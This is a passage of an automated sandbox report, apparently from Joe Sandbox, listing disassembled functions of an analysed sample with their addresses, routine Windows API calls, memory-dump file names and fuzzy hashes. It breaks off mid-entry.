Instruction ID: ea88e0dbf276ed2b61ac96949af9a946984d9cda694903235269fb2a0f105987
Opcode Fuzzy Hash: 17c35cf8e9a7414348f32529b6738b26766f9c2a34e08f9ad75d03fbdc4fbc32
Instruction Fuzzy Hash: 14512671A4010A9ACF10EBA0C945AFFBB74EF91318F14017BE601732D1D779AE46CB99

Function 00401AF4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 132
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00401AF9

Strings

KA, xrefs: 00401BF0, 00401BF7
KA, xrefs: 00401B4E

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: H_prolog
String ID: KA$KA
API String ID: 3519838083-594506476
Opcode ID: 5b0f55770afa12d36702e97ef3d2b3e48a7f6e08a164a6161b21258ea26ce881
Instruction ID: 3866b3b7da3d7396f9922ec017f7e66c93d936b9f161a27d318f0a0663603341
Opcode Fuzzy Hash: 5b0f55770afa12d36702e97ef3d2b3e48a7f6e08a164a6161b21258ea26ce881
Instruction Fuzzy Hash: 7451CF72D042199FDF11DFA4C940BEEBBB4AF05394F14416AE851732E2E3789E85CB68

Function 00416CB8 Relevance: 4.6, APIs: 3, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,00416CA3,?,00000000,00000000,00414BED,00000000,00000000), ref: 00416CCD
TerminateProcess.KERNEL32(00000000,?,00416CA3,?,00000000,00000000,00414BED,00000000,00000000), ref: 00416CD4
ExitProcess.KERNEL32 ref: 00416D55

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 88460fada53f43c142527d69cfd7889c6f43d20f3130cd5a4fa53c970b5b43b0
Instruction ID: 207b1b8771569bb39d21ff3be241c2a042127402aedffa1bc22b33ac5a943006
Opcode Fuzzy Hash: 88460fada53f43c142527d69cfd7889c6f43d20f3130cd5a4fa53c970b5b43b0
Instruction Fuzzy Hash: 7A01C4323002119BD630AF69FC86A9A7BA5FB41715BA2802FF45057151DB7CD8C28B5D

Function 00407093 Relevance: 4.5, APIs: 3, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00407098
EnterCriticalSection.KERNEL32(00000000,?,?,?,00407122,?,?,?,?,?), ref: 004070A9
LeaveCriticalSection.KERNEL32(00000000,?,?,?,00407122,?,?,?,?,?), ref: 004070DD

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: CriticalSection$EnterH_prologLeave
String ID:
API String ID: 367238759-0
Opcode ID: 0cda8505b6e8737534b09afe540dc97e47590bc95c9c3e0b1678985bbac2a5b2
Instruction ID: a56bdc6fde0de93627b634a906b5586fd045a2fb55df8f4462ae58feb39c4b8d
Opcode Fuzzy Hash: 0cda8505b6e8737534b09afe540dc97e47590bc95c9c3e0b1678985bbac2a5b2
Instruction Fuzzy Hash: D7018176A00204EFCB118F94CC08B9ABBB5FF48715F00841AFD12E7250C3B4A910CFA0

Function 0040DD8B Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 156
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 0040DD90

Strings

, xrefs: 0040DE57

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-3916222277
Opcode ID: 74d497e127491c222f436ed49dfb2d2edc1529cc02750c3a0fcf17e54ab28a3b
Instruction ID: cf89379ab294d4739916b9706e3dd1d7b183837ff3903d8a06049ba810aa014c
Opcode Fuzzy Hash: 74d497e127491c222f436ed49dfb2d2edc1529cc02750c3a0fcf17e54ab28a3b
Instruction Fuzzy Hash: 19515E71E006069BDB14DFA9C881ABFB7B5EF98304F14853AE405BB381D778A9458BA4

Function 00403113 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00403118

Part of subcall function 00405841: __EH_prolog.LIBCMT ref: 00405846

Part of subcall function 004049DD: __EH_prolog.LIBCMT ref: 004049E2

Part of subcall function 00409569: __EH_prolog.LIBCMT ref: 0040956E

Strings

Default, xrefs: 0040322A

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: H_prolog
String ID: Default
API String ID: 3519838083-753088835
Opcode ID: f128adbc8c60b4baaeff554b123c1f0edecf7e5f5aa4d41d76fe55222fded7d1
Instruction ID: 6c236086827897a16f525891fa60e3e62c5941a793998487ad20a929e2e28791
Opcode Fuzzy Hash: f128adbc8c60b4baaeff554b123c1f0edecf7e5f5aa4d41d76fe55222fded7d1
Instruction Fuzzy Hash: 76516071900609EFCB10EFA5D8859EEBBB8FF08318F00456FE45277291DB38AA05CB14

Function 00402F15 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00402F1A

Part of subcall function 00403376: __EH_prolog.LIBCMT ref: 0040337B

Part of subcall function 004034E3: __EH_prolog.LIBCMT ref: 004034E8

Part of subcall function 0040309D: __EH_prolog.LIBCMT ref: 004030A2
Part of subcall function 0040309D: ShowWindow.USER32(00414BE4,00000001,000001F4,00000000,?,?,00000000,00000000,00000000,00000000), ref: 004030FB

Part of subcall function 004131E0: CloseHandle.KERNEL32(00000000,00000000,00403035,?,?,00000000,00000003,?,00000000,?,?,00000000,00000000,00000000), ref: 004131EA
Part of subcall function 004131E0: GetLastError.KERNEL32(?,00000000,00000000,00000000), ref: 004131F4

Strings

KA, xrefs: 00403042

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: H_prolog$CloseErrorHandleLastShowWindow
String ID: KA
API String ID: 2740091781-4133974868
Opcode ID: 4e9039a6ef41e593bfbb802c2a04a2fdc835dade45d0606e7df40fddacf7360b
Instruction ID: b66072ba2aa71961cefff889ac2f3310996ab01b533407b8592e0c78779ee57e
Opcode Fuzzy Hash: 4e9039a6ef41e593bfbb802c2a04a2fdc835dade45d0606e7df40fddacf7360b
Instruction Fuzzy Hash: 2F41AF31900249DBCB11EFA5C991AEDBBB8AF14314F1480BFE906B72D2DB385B45CB55

Function 00408902 Relevance: 3.1, APIs: 2, Instructions: 85COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00408907
GetLastError.KERNEL32(00000001,00000000,?,?,00000000,?,?,00408AEB,?,?,?,?,?,?,?,00000000), ref: 00408994

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: ErrorH_prologLast
String ID:
API String ID: 1057991267-0
Opcode ID: 3b655691cd2a170c36ef711b3d6cea0560e4eeba85cc05aee82b2e3575fc547f
Instruction ID: a8fc1237ba57e47b0ed65f04e9c7bd5e3c99de29461016f9efabf40ab0132a5b
Opcode Fuzzy Hash: 3b655691cd2a170c36ef711b3d6cea0560e4eeba85cc05aee82b2e3575fc547f
Instruction Fuzzy Hash: 3F3181B19012499FCB10DF95CA859BEBBA0FF04314B14817FE495B72A1CB388D41CB6A

Function 004051C8 Relevance: 3.1, APIs: 2, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004051CD

Part of subcall function 0040511B: __EH_prolog.LIBCMT ref: 00405120

Part of subcall function 004058CD: __EH_prolog.LIBCMT ref: 004058D2

GetLastError.KERNEL32(?,?,?,?,00000003,?,00000000,?,00000000), ref: 0040522C

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: H_prolog$ErrorLast
String ID:
API String ID: 2901101390-0
Opcode ID: d33f8126ed8318c7129a01f11b7322f40edc7a38c1873fe00e643a2a39180484
Instruction ID: 4ca71d6396368880cce983a38ddafe9bc91d36a7a330c4fa26da9ce64be84c4d
Opcode Fuzzy Hash: d33f8126ed8318c7129a01f11b7322f40edc7a38c1873fe00e643a2a39180484
Instruction Fuzzy Hash: 43114831C00A059ACF14FBA5D4426EFBB70DF51368F1042BFA462771E28B7C1A4ACE19

Function 004159F8 Relevance: 3.0, APIs: 2, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,00414B62,00000001), ref: 00415A09

Part of subcall function 004158B0: GetVersionExA.KERNEL32 ref: 004158CF

HeapDestroy.KERNEL32 ref: 00415A48

Part of subcall function 00415A55: HeapAlloc.KERNEL32(00000000,00000140,00415A31,000003F8), ref: 00415A62

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: Heap$AllocCreateDestroyVersion
String ID:
API String ID: 2507506473-0
Opcode ID: 825b9816dc88181ec874f225c5ca0d214e5516542b2a7945f872998de4828b81
Instruction ID: d610f17f35f819288534aaa08ec9d41b03b5a17a7fe04688d897b1e7918b3c37
Opcode Fuzzy Hash: 825b9816dc88181ec874f225c5ca0d214e5516542b2a7945f872998de4828b81
Instruction Fuzzy Hash: 00F03070696A01EBDB206B715DCA7E62A949F84799F104637F540C85A0EB7884C19A1D

Function 00405ACE Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,?,?), ref: 00405AE9
GetLastError.KERNEL32(?,?,?,?), ref: 00405AF7

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 76489df8c25185c5262ec68b9c2ea30a41bcc890bee3aa4ad9f45433592c2f72
Instruction ID: ae3098a1e04470c1e0e5e0b92581544958da7485e9b3b22056b888074196ff7d
Opcode Fuzzy Hash: 76489df8c25185c5262ec68b9c2ea30a41bcc890bee3aa4ad9f45433592c2f72
Instruction Fuzzy Hash: 89F0B7B4504208EFCB14CF54D9448AE7BF9EF49350B108169F815A7390D731AE00DF69

Function 0040BBC9 Relevance: 2.0, APIs: 1, Instructions: 515COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040BBCE

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: e20e68f67df63d5f9e9ba5d17b85cf5a5e4b904928eba79c37a56f5e811e61d3
Instruction ID: 754c2283aee26f26976a66738bb4ef570e525f81dc1fbbef9a6f78583ad2e2a8
Opcode Fuzzy Hash: e20e68f67df63d5f9e9ba5d17b85cf5a5e4b904928eba79c37a56f5e811e61d3
Instruction Fuzzy Hash: 5B325D70904249DFDB10DFA8C584ADEBBB4AF58304F1441AEE855BB3C2CB78AE45CB95

Function 0040280D Relevance: 1.9, APIs: 1, Instructions: 384COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00402812

Part of subcall function 00402D80: EnterCriticalSection.KERNEL32(?,?,?,004095B9), ref: 00402D85
Part of subcall function 00402D80: LeaveCriticalSection.KERNEL32(?,?,?,?,004095B9), ref: 00402D8F

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: CriticalSection$EnterH_prologLeave
String ID:
API String ID: 367238759-0
Opcode ID: 71e1dc36bd9d06b7d898947adcd583decfbfe7f4f6cc64154346a2ad7b3dab8a
Instruction ID: 6b86c84e82b28a82bfdc9d9b9477fa58d6923614df4f06b31c284573bb568367
Opcode Fuzzy Hash: 71e1dc36bd9d06b7d898947adcd583decfbfe7f4f6cc64154346a2ad7b3dab8a
Instruction Fuzzy Hash: 14F1AD30900249DFCF14EFA5C989ADEBBB4AF54318F14806EE445B72E2DB789A45CF19

Function 00408A3B Relevance: 1.9, APIs: 1, Instructions: 374COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00408A40

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 463f0c4feddd306d7c1a8d70083033d754a2b3fae2b1194d3c8a033132b27601
Instruction ID: 34c7193a5b50bb33ce0ba2a09d23f7b106f418ab12413814a78bbf0ce5505d58
Opcode Fuzzy Hash: 463f0c4feddd306d7c1a8d70083033d754a2b3fae2b1194d3c8a033132b27601
Instruction Fuzzy Hash: 62E17F70A00249DFCF10DFA4C988AAEBBB4AF58314F2445AEE495F72D1CB389E45CB55

Function 0040EA0B Relevance: 1.8, APIs: 1, Instructions: 255COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040EA10

Part of subcall function 0040FA43: __EH_prolog.LIBCMT ref: 0040FA48

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 609558a53499a49e72743be03594cb330370f72dde39e5c62d9fac4dd36766c0
Instruction ID: 11288496f406677f7bdfcb919023cacd5b8123072d96ac47e6bfd322b071945c
Opcode Fuzzy Hash: 609558a53499a49e72743be03594cb330370f72dde39e5c62d9fac4dd36766c0
Instruction Fuzzy Hash: 38C14770910269DFDB10DFA5C884BDDBBB4BF14308F1080AEE915B72C2CB786A49CB65

Function 0040F648 Relevance: 1.7, APIs: 1, Instructions: 200COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040F64D

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 56d9e38b1f38824fae3835b0a2d2d95e6ef7d2a708d669e2796a4f5ecf1bfba5
Instruction ID: 8e2da863e0ec0aed1c7df7ef9f788bacddda9dad52c8f94b50dff24b72cd6dff
Opcode Fuzzy Hash: 56d9e38b1f38824fae3835b0a2d2d95e6ef7d2a708d669e2796a4f5ecf1bfba5
Instruction Fuzzy Hash: A7814A71E006059BCB24EBA9C481ADEFBB0BF48304F14453EE445B3791DB38A949CB99

Function 0040CFAD Relevance: 1.6, APIs: 1, Instructions: 143COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040CFB2

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 63c8e573d396fc96efa94e1a42408f9b291e1898eda9953334360b92db0a26c8
Instruction ID: 9f9062e63dd4364452e2da1ca70528b8602d2a0ea6fe4ab8d483929f8703c9bd
Opcode Fuzzy Hash: 63c8e573d396fc96efa94e1a42408f9b291e1898eda9953334360b92db0a26c8
Instruction Fuzzy Hash: 69518C31C04145DBCB15DFA8C884EAA7B71AF45308F1880BBE4157F2D2DA399A4EDB5D

Function 0040C783 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040C788

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: f15c909000a7bc487a9015a8e9d061d5051666e8d9c8f725cb2d7f58cfb25987
Instruction ID: af1ffdf326ee6b9e8f9f4efb185a7a75328b0af80e7613720a9e9424578e33b6
Opcode Fuzzy Hash: f15c909000a7bc487a9015a8e9d061d5051666e8d9c8f725cb2d7f58cfb25987
Instruction Fuzzy Hash: A9416D71A00646CFCB24DF58C48496ABBF1FF48314B2486AED096AB392C371ED46CF94

Function 0040D1AB Relevance: 1.6, APIs: 1, Instructions: 89COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040D1B0

Part of subcall function 0040F8C3: __EH_prolog.LIBCMT ref: 0040F8C8

Part of subcall function 0040D2CF: __EH_prolog.LIBCMT ref: 0040D2D4

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
